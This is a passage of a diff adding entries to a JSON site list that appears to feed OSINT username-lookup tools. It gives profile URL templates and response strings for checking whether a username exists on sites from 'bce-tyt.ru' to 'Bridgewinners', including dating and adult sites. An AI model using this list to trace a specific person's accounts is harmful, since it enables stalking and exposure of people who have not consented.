\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + }, + { + "name": "bce-tyt.ru", + "url": "http://bce-tyt.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bdoutdoors", + "url": "https://www.bdoutdoors.com/forums/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "BDSM Singles", + "url": "https://www.bdsmsingles.com/members/{}", + "category": "dating", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "bdsmsingles.com/?language", + "match_string": "Profile" + }, + { + "name": "BDSMLR", + "url": "https://{}.bdsmlr.com", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "message", + "error_code": 200, + "error_string": "This blog doesn't exist.", + "match_code": 200, + "match_string": "login" + }, + { + "name": "bdsmsingles", + "url": "https://www.bdsmsingles.com/members/{}/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 302, + "error_string": "BDSM Singles", + "match_code": 200, + "match_string": "<title>Profile" + }, + { + "name": "beacons.ai", + "url": "https://beacons.ai/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "https://beacons.ai/bw_logo_full.png", + "match_string": "https://cdn.beacons.ai/profile_pictures" + }, + { + "name": "beatl.ucoz.ru", + "url": "http://beatl.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BeatStars", + "url": "https://www.beatstars.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "Stats" + }, + { + "name": "Beatstars", + "url": "https://beatstars.com/{}", + "category": "music", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "member-profile" + }, + { + "name": "Beautyheaven", + "url": "https://www.beautyheaven.com.au/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bebee", + "url": "https://us.bebee.com/bee/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Beeg", + "url": "https://beeg.com/people/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "Suggest Edits" + }, + { + "name": "Beep", + "url": "https://beep.by/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BEER", + "url": "https://\u0431\u0438\u0440.\u0440\u0444/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Beerintheevening", + "url": "http://www.beerintheevening.com/user_profile.shtml?username={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist." + }, + { + "name": "BeerMoneyForum", + "url": "https://www.beermoneyforum.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "Behance", + "url": "https://www.behance.net/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Behance", + "url": "https://behance.net/{}", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Oops! We can\u2019t find that page", + "match_string": "\"name\":\"" + }, + { + "name": "Belmos", + "url": "https://www.belmos.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Bentbox", + "url": "https://bentbox.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user is currently not available", + "match_string": "id=\"followingUser\"" + }, + { + "name": "Bento", + "url": "https://bento.me/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": ">Available!</div>", + "match_code": 200, + "match_string": "href=\"https://bento.me/explore\"" + }, + { + "name": "berea.ucoz.ru", + "url": "http://berea.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bestclips.ws", + "url": "http://bestclips.ws/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bestfantasybooks", + "url": "http://bestfantasybooks.com/forums/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Bestweapon", + "url": "https://bestweapon.ru/author.php?author={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "</script><br><table class='border-blog'><tr><td><div class='avatar'" + }, + { + "name": "Bestweapon", + "url": "https://bestweapon.net/author.php?author={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "/script><br><table class='border-blog'><tr><td><div" + }, + { + "name": "Beta", + "url": "https://beta.cent.co/{}/", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Betalist", + "url": "https://betalist.com/@{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "betawiki.net", + "url": "https://betawiki.net/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bethepro", + "url": "https://bethepro.com/members/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "beyond3d", + "url": "https://forum.beyond3d.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bezuzyteczna", + "url": "https://bezuzyteczna.pl/uzytkownicy/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bgforum", + "url": "https://bgforum.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430 / \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "Bibsonomy", + "url": "https://www.bibsonomy.org/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "big-game.ucoz.ru", + "url": "http://big-game.ucoz.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bigfooty", + "url": "https://www.bigfooty.com/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "bigfooty.com", + "url": "https://www.bigfooty.com/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Biggerpockets", + "url": "https://www.biggerpockets.com/users/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "| BiggerPockets" + }, + { + "name": "Biggerpockets", + "url": "https://biggerpockets.com/users/{}", + "category": "forum", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "header-info" + }, + { + "name": "Bigmmc", + "url": "http://bigmmc.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BIGO Live", + "url": "https://www.bigo.tv/user/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "userInfo:{}", + "match_code": 200, + "match_string": "userInfo:{nickName" + }, + { + "name": "Bigsoccer", + "url": "https://www.bigsoccer.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bigsoccer", + "url": "https://www.bigsoccer.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Bikemap", + "url": "https://www.bikemap.net/en/u/{}/routes/created/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bikepost", + "url": "https://bikepost.ru/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BikeRadar", + "url": "https://forum.bikeradar.com/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Biketrials", + "url": "http://www.biketrials.ru/live/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Billkiene", + "url": "https://www.billkiene.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Billkiene", + "url": "https://www.billkiene.com/forums/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Bimpos", + "url": "https://ask.bimpos.com/user/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found", + "match_code": 200, + "match_string": "User " + }, + { + "name": "BinarySearch", + "url": "https://binarysearch.com/@/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "{}" + }, + { + "name": "Binarysearch", + "url": "https://binarysearch.io/@/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Profile not found" + }, + { + "name": "binhot.3dn.ru", + "url": "http://binhot.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bio Sites", + "url": "https://bio.site/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "This site no longer exists", + "match_code": 200, + "match_string": "section\":{\"handles" + }, + { + "name": "biohack", + "url": "https://forum.biohack.me/index.php?p=/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "biolink", + "url": "https://bio.link/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you\u2019re looking for doesn\u2019t exist", + "match_code": 200, + "match_string": "profile:username" + }, + { + "name": "Biosector01", + "url": "https://biosector01.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "birza-truda", + "url": "http://birza-truda.ru/akter/nachinayushchiy-akter/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0435\u0439!" + }, + { + "name": "Bit", + "url": "https://bit.dev/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "FOLLOWERS" + }, + { + "name": "Bit.ly", + "url": "https://bit.ly/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BitBucket", + "url": "https://bitbucket.org/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bitbucket", + "url": "https://bitbucket.org/!api/2.0/repositories/{}?page=1&pagelen=25&sort=-updated_on&q=&fields=-values.owner%2C-values.workspace", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "No workspace with identifier", + "match_code": 200, + "match_string": "full_name" + }, + { + "name": "BitBucket", + "url": "https://bitbucket.org/{}/workspace/repositories/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bitbucket", + "url": "https://bitbucket.org/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "That link has no power here", + "match_string": "\"uuid\"" + }, + { + "name": "Bitchute", + "url": "https://www.bitchute.com/channel/{}", + "category": "video", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bitchute", + "url": "https://www.bitchute.com/channel/{}/", + "category": "news", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 - Page not found", + "match_code": 200, + "match_string": "subscribers" + }, + { + "name": "bitcoin.it", + "url": "https://bitcoin.it/wiki/User:{}", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BitCoinForum", + "url": "https://bitcoinforum.com/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The user whose profile you are trying to view does not exist." + }, + { + "name": "Bitpapa", + "url": "https://bitpapa.com/user/{}", + "category": "shopping", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "><title>" + }, + { + "name": "bitpapa.com", + "url": "https://bitpapa.com/ru/user/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "/static/page-crash.svg", + "match_string": "lbcUsername" + }, + { + "name": "bittube", + "url": "https://bittube.video/c/{}/videos", + "category": "video", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

We are sorry but it seems", + "match_code": 200, + "match_string": "- BitTube" + }, + { + "name": "Bitwarden", + "url": "https://community.bitwarden.com/u/{}/summary", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Oops!", + "match_string": " Profile" + }, + { + "name": "BlackHatProTools", + "url": "https://www.blackhatprotools.info/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blast", + "url": "https://www.blast.hk/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blast", + "url": "https://www.blast.hk/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Blazemonger", + "url": "https://blazemonger.com/GG/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "BleachFandom", + "url": "https://bleach.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blender", + "url": "https://blender.community/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blender3d", + "url": "https://blender3d.com.ua/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blenderartists", + "url": "https://blenderartists.org/u/{}", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BLIP.fm", + "url": "https://blip.fm/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bliphoto", + "url": "https://www.blipfoto.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Your photo journal | Blipfoto", + "match_string": "biography" + }, + { + "name": "Blitz Tactics", + "url": "https://blitztactics.com/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "That page doesn't exist" + }, + { + "name": "Blizzard_WOW", + "url": "https://us.forums.blizzard.com/en/wow/u/{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "World of Warcraft Forums" + }, + { + "name": "Blogger", + "url": "https://{}.blogspot.com", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blogger (by GAIA id)", + "url": "https://www.blogger.com/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "/edit-profile.g", + "match_string": ">" + }, + { + "name": "Blue-systems", + "url": "https://support.blue-systems.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bluesky", + "url": "https://bsky.app/profile/{}.bsky.social", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Oops!", + "match_string": ".bsky.social on Bluesky" + }, + { + "name": "Bluesky 1", + "url": "https://bsky.app/profile/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "

", + "match_code": 200, + "match_string": "on Bluesky" + }, + { + "name": "Bluesky 2", + "url": "https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor={}.bsky.social", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "\"message\":\"Profile not found\"", + "match_code": 200, + "match_string": "\"handle\":\"" + }, + { + "name": "bluesystem", + "url": "http://forum.bluesystem.online/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "images/avatars/default_avatars/22.gif" + }, + { + "name": "Bluevies", + "url": "https://bluevies.miraheze.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "BMW_club", + "url": "http://m-power.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Board_asm32", + "url": "https://board.asm32.info/!userinfo/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Board_scryde", + "url": "https://board.scryde.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "BoardGameGeek", + "url": "https://boardgamegeek.com/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\t\tUser not found", + "match_string": "username" + }, + { + "name": "BoardGameGeek", + "url": "https://api.geekdo.com/api/accounts/validate/username?username={}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"isValid\":true", + "match_code": 200, + "match_string": "\"message\":\"Sorry, this username is already taken.\"" + }, + { + "name": "Boardgamegeek", + "url": "https://www.boardgamegeek.com/user/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "[]" + }, + { + "name": "boards.theforce.net", + "url": "https://boards.theforce.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Boards_theforce", + "url": "https://boards.theforce.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Bobrdobr", + "url": "https://bobrdobr.ru/people/{}/", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430.", + "match_string": "\u0417\u0430\u043a\u043b\u0430\u0434\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "Bobvoyeur", + "url": "https://www.bobvoyeur.com/profil/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "content=\"profile\"/>", + "match_string": "Informa\u00e7\u00e3o e p\u00e1gina" + }, + { + "name": "BongaCams", + "url": "https://pt.bongacams.com/profile/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "status_code" + }, + { + "name": "Bongacams", + "url": "https://bongacams.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "last_login" + }, + { + "name": "Boobpedia", + "url": "https://www.boobpedia.com/wiki/index.php?title=Special:Search&profile=all&search={}&fulltext=1", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "There were no results matching the query.", + "match_string": "Page title matches" + }, + { + "name": "Book-torrent-site", + "url": "https://book-torrent.site/user/{}/", + "category": "torrent", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bookafly.com", + "url": "https://bookafly.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bookandreader", + "url": "https://www.bookandreader.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bookandreader", + "url": "https://www.bookandreader.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Bookcrossing", + "url": "https://www.bookcrossing.com/mybookshelf/{}/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bookcrossing", + "url": "https://www.bookcrossing.com/mybookshelf/{}", + "category": "news", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sorry, we were unable to locate the content that you requested.", + "match_code": 200, + "match_string": "Recent Book Activity" + }, + { + "name": "Bookcrossing", + "url": "https://bookcrossing.com/mybookshelf/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, we were unable", + "match_string": "-profile" + }, + { + "name": "Bookmate", + "url": "https://ru.bookmate.com/authors/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry! We couldn\u2019t find what you were looking for" + }, + { + "name": "Bookmix", + "url": "https://bookmix.ru/users/index.phtml?ginv=&keyword={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430" + }, + { + "name": "Booknode", + "url": "https://booknode.com/profil/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Page non trouv\u00e9e", + "match_code": 200, + "match_string": "<title>Profil de" + }, + { + "name": "bookz.su", + "url": "http://bookz.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BoomInfo", + "url": "https://boominfo.ru/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + }, + { + "name": "Boominfo", + "url": "https://boominfo.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "boominfo.org", + "url": "https://boominfo.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Boosty", + "url": "https://boosty.to/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>", + "match_string": "Boosty " + }, + { + "name": "Boosty", + "url": "https://api.boosty.to/v1/blog/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"blog_not_found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "BOOTH", + "url": "https://{}.booth.pm/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Borisoglebsk", + "url": "http://www.borisoglebsk.net/modules.php?name=Forums&file=profile&mode=viewprofile&u={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "Borsch.gallery", + "url": "https://borsch.gallery/hudozhniki/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bot-cs.at.ua", + "url": "http://bot-cs.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Botanichka", + "url": "https://www.botanichka.ru/members/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bowhuntery", + "url": "https://bowhuntery.ru/userlist.php?username={}&show_group=-1", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Boxing", + "url": "http://boxing.ru/forum/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "brainscale.net", + "url": "https://brainscale.net/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bratsk Forum", + "url": "http://forum.bratsk.org/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "BraveCommunity", + "url": "https://community.brave.com/u/{}/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Breach Forums", + "url": "https://breached.vc/User-{}", + "category": "tech", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The member you specified is either invalid or doesn't exist.", + "match_code": 200, + "match_string": "Time Spent Online" + }, + { + "name": "BreachSta.rs Forum", + "url": "https://breachsta.rs/profile/{}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Error - BreachStars" + }, + { + "name": "breakers.tv", + "url": "https://breakers.tv/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Channel you are looking for doesn't exist", + "match_string": " followers" + }, + { + "name": "Brickset", + "url": "https://brickset.com/profile/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "{name}", + "match_code": 200, + "match_string": "Member since:" + }, + { + "name": "Brickset", + "url": "https://forum.brickset.com/profile/{}", + "category": "forum", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "User Not Found", + "match_code": 200, + "match_string": "Activity" + }, + { + "name": "Bridgemoscow", + "url": "https://bridgemoscow.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Bridgewinners", + "url": 